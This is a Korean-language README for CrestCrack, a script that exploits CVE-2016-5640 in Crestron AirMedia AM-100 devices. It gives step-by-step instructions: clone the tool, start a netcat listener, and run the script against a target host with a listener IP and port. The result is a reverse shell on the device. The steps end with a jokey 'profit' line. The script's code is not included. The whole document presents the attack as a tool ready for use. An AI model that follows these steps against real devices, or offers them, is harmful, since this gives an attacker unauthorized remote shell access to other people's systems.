CrestCrack

CrestCrack는 Crestron AirMedia AM-100(v1.1.1.11 ~ v1.2.1)의 CVE-2016-5640 / CLVA-2016-05-002 취약점을 악용하는 간단한 스크립트입니다. 인수가 제공되면 CrestCrack은 netcat을 사용하여 대상과 선택한 netcat 리스너 간에 리버스 셸을 생성합니다.

설정:

1. CrestCrack 사본을 클론합니다 git clone https://github.com/vpnguy/CrestCrack
2. netcat 리스너를 실행합니다 nc -lvp 1337
3. 리스너 정보로 대상에 CrestCrack을 실행합니다 ./crestcrack.py https://targethost 255.255.255.255 1337
4. ??????
5. 이득

###사용법: ./crescrack.py [target host] [listener IP] [listener port]

###예시: ./crescrack.py https://targethost 123.123.123.123 3311

추가 취약점 정보:

Cylance 취약점 공개

NIST CVE-2016-5640

추가 예정:

• 오류 처리/경계 검사
• 향상된 인자 지원
• --help 출력